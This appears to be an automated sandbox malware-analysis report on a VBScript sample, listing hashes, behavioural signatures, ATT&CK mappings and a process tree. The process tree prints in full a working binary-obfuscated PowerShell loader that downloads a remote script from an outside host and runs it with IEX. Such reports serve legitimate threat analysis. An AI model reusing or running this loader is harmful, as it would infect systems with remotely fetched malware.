a14fcc6851b168544feec2b3889ccff2bf11306f4d420731b471b249a16af089

General

Target
Protected.vbs
Size 2KB
Sample220214-tp9s8saaf5
SHA256 a14fcc6851b168544feec2b3889ccff2bf11306f4d420731b471b249a16af089
MD5 43ccaa017a432012f15e6f330c19ef90
SHA1 52962106f3619283a741129e0cee4423f07fb9ec
SHA512 132c3837bcec2f96e04436b14e5efa351e81143df6dd22b7d2617d78fbced1ccb5946bf94878e46841514bbd0689071d15f2600d5464b54c5677f0ef6635b411
MD5 SHA1 SHA512

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 4 IoCs

flow	pid	Process
5	1660	WScript.exe
8	604	powershell.exe
9	604	powershell.exe
10	604	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
604	powershell.exe

Suspicious use of AdjustPrivilegeToken 21 IoCs

description	pid	Process
Token: SeDebugPrivilege	604	powershell.exe
Token: SeIncreaseQuotaPrivilege	604	powershell.exe
Token: SeSecurityPrivilege	604	powershell.exe
Token: SeTakeOwnershipPrivilege	604	powershell.exe
Token: SeLoadDriverPrivilege	604	powershell.exe
Token: SeSystemProfilePrivilege	604	powershell.exe
Token: SeSystemtimePrivilege	604	powershell.exe
Token: SeProfSingleProcessPrivilege	604	powershell.exe
Token: SeIncBasePriorityPrivilege	604	powershell.exe
Token: SeCreatePagefilePrivilege	604	powershell.exe
Token: SeBackupPrivilege	604	powershell.exe
Token: SeRestorePrivilege	604	powershell.exe
Token: SeShutdownPrivilege	604	powershell.exe
Token: SeDebugPrivilege	604	powershell.exe
Token: SeSystemEnvironmentPrivilege	604	powershell.exe
Token: SeRemoteShutdownPrivilege	604	powershell.exe
Token: SeUndockPrivilege	604	powershell.exe
Token: SeManageVolumePrivilege	604	powershell.exe
Token: 33	604	powershell.exe
Token: 34	604	powershell.exe
Token: 35	604	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1660 wrote to memory of 604	1660	WScript.exe	29
PID 1660 wrote to memory of 604	1660	WScript.exe	29
PID 1660 wrote to memory of 604	1660	WScript.exe	29
PID 1660 wrote to memory of 1520	1660	WScript.exe	32
PID 1660 wrote to memory of 1520	1660	WScript.exe	32
PID 1660 wrote to memory of 1520	1660	WScript.exe	32

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Protected.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1660
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $gf=(00100100,01000101,01110010,01110010,01101111,01110010,01000001,01100011,01110100,01101001,01101111,01101110,01010000,01110010,01100101,01100110,01100101,01110010,01100101,01101110,01100011,01100101,00100000,00111101,00100000,00100111,01010011,01101001,01101100,01100101,01101110,01110100,01101100,01111001,01000011,01101111,01101110,01110100,01101001,01101110,01110101,01100101,00100111,00111011,00100100,01110100,00110101,00110110,01100110,01100111,00100000,00111101,00100000,01011011,01000101,01101110,01110101,01101101,01011101,00111010,00111010,01010100,01101111,01001111,01100010,01101010,01100101,01100011,01110100,00101000,01011011,01010011,01111001,01110011,01110100,01100101,01101101,00101110,01001110,01100101,01110100,00101110,01010011,01100101,01100011,01110101,01110010,01101001,01110100,01111001,01010000,01110010,01101111,01110100,01101111,01100011,01101111,01101100,01010100,01111001,01110000,01100101,01011101,00101100,00100000,00110011,00110000,00110111,00110010,00101001,00111011,01011011,01010011,01111001,01110011,01110100,01100101,01101101,00101110,01001110,01100101,01110100,00101110,01010011,01100101,01110010,01110110,01101001,01100011,01100101,01010000,01101111,01101001,01101110,01110100,01001101,01100001,01101110,01100001,01100111,01100101,01110010,01011101,00111010,00111010,01010011,01100101,01100011,01110101,01110010,01101001,01110100,01111001,01010000,01110010,01101111,01110100,01101111,01100011,01101111,01101100,00100000,00111101,00100000,00100100,01110100,00110101,00110110,01100110,01100111,00111011,00100111,01011011,01110110,01101111,01101001,01100100,00100111,00100000,00101011,00100000,00100111,01011101,00100000,01011011,01010011,01111001,01110011,01110100,00100111,00100000,00101011,00100000,00100111,01100101,01101101,00101110,01010010,01100101,01100110,01101100,01100101,00100111,00100000,00101011,00100000,00100111,01100011,01110100,01101001,01101111,01101110,00101110,01000001,01110011,01110011,01100101,00100111,00100000,00101011,00100000,00100111,01101101,01100010,01101100,01111001,01011101,00111010,00111010,01001100,01101111,01100001,01100100,01010111,01101001,00100111,00100000,00101011,00100000,00100111,01110100,01101000,01010000,01100001,01110010,01110100,01101001,01100001,01101100,01001110,01100001,01101101,01100101,00101000,00100111,00100111,01001101,01101001,01100011,01110010,01101111,01110011,01101111,01100110,01110100,00101110,01010110,01101001,01110011,01110101,01100001,01101100,01000010,01100001,01110011,01101001,01100011,00100111,00100111,00101001,00100111,01111100,01001001,01000101,01011000,00111011,01100100,01101111,00100000,01111011,00100100,01110000,01101001,01101110,01100111,00100000,00111101,00100000,01110100,01100101,01110011,01110100,00101101,01100011,01101111,01101110,01101110,01100101,01100011,01110100,01101001,01101111,01101110,00100000,00101101,01100011,01101111,01101101,01110000,00100000,01100111,01101111,01101111,01100111,01101100,01100101,00101110,01100011,01101111,01101101,00100000,00101101,01100011,01101111,01110101,01101110,01110100,00100000,00110001,00100000,00101101,01010001,01110101,01101001,01100101,01110100,01111101,00100000,01110101,01101110,01110100,01101001,01101100,00100000,00101000,00100100,01110000,01101001,01101110,01100111,00101001,00111011,00100100,01110100,01110100,01111001,00111101,00100111,00101000,01001110,01100101,01110111,00101101,00100111,00101011,00100111,01001111,01100010,01101010,01100101,00100111,00101011,00100111,01100011,01110100,00100000,01001110,01100101,00100111,00101011,00100111,01110100,00101110,01010111,01100101,00100111,00101011,00100111,01100010,01000011,01101100,01101001,00100111,00101011,00100111,01100101,01101110,01110100,00101001,00100111,01111100,01001001,01100000,01000101,01100000,01011000,00111011,00100100,01101101,01110110,00111101,00100000,01011011,01001101,01101001,01100011,01110010,01101111,01110011,01101111,01100110,01110100,00101110,01010110,01101001,01110011,01110101,01100001,01101100,01000010,01100001,01110011,01101001,01100011,00101110,01001001,01101110,01110100,01100101,01110010,01100001,01100011,01110100,01101001,01101111,01101110,01011101,00111010,00111010,01000011,01100001,01101100,01101100,01000010,01111001,01101110,01100001,01101101,01100101,00101000,00100100,01110100,01110100,01111001,00101100,00100111,01000100,01101111,01110111,01101110,00100111,00100000,00101011,00100000,00100111,01101100,01101111,01100001,01100100,00100111,00100000,00101011,00100000,00100111,01010011,01110100,01110010,00100111,00100000,00101011,00100000,00100111,01101001,01101110,01100111,00100111,00101100,01011011,01001101,01101001,01100011,01110010,01101111,01110011,01101111,01100110,01110100,00101110,01010110,01101001,01110011,01110101,01100001,01101100,01000010,01100001,01110011,01101001,01100011,00101110,01000011,01100001,01101100,01101100,01010100,01111001,01110000,01100101,01011101,00111010,00111010,01001101,01100101,01110100,01101000,01101111,01100100,00101100,00100111,01101000,01110100,01110100,01110000,00100111,00100000,00101011,00100000,00100111,00111010,00101111,00101111,01110111,01110111,01110111,00101110,01110011,01110010,01100010,01101001,01111010,01100001,01110011,01110010,01100010,01100101,00101110,01101111,01110010,01100111,00101111,01110011,01110011,01101100,00101111,01100011,01101110,01101110,00101110,01101010,01110000,01100111,00100111,00101001,01111100,01001001,01100000,01000101,01100000,01011000) | %{ [System.Text.Encoding]::UTF8.GetString([System.Convert]::ToInt32($_,2)) };I`E`X([system.String]::Join('', $gf))
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:604
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c copy "Protected.vbs" "C:\Users\Admin\Music" /Y
  2⤵
  PID:1520

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/604-54-0x000007FEFB571000-0x000007FEFB573000-memory.dmp

Download

memory/604-59-0x0000000002834000-0x0000000002837000-memory.dmp

Download

memory/604-58-0x0000000002832000-0x0000000002834000-memory.dmp

Download

memory/604-57-0x0000000002830000-0x0000000002832000-memory.dmp

Download

memory/604-56-0x000007FEF4BBE000-0x000007FEF4BBF000-memory.dmp

Download

memory/604-55-0x000007FEF2380000-0x000007FEF2EDD000-memory.dmp

Download

memory/604-60-0x000000001B730000-0x000000001BA2F000-memory.dmp

Download

memory/604-61-0x000000000283B000-0x000000000285A000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads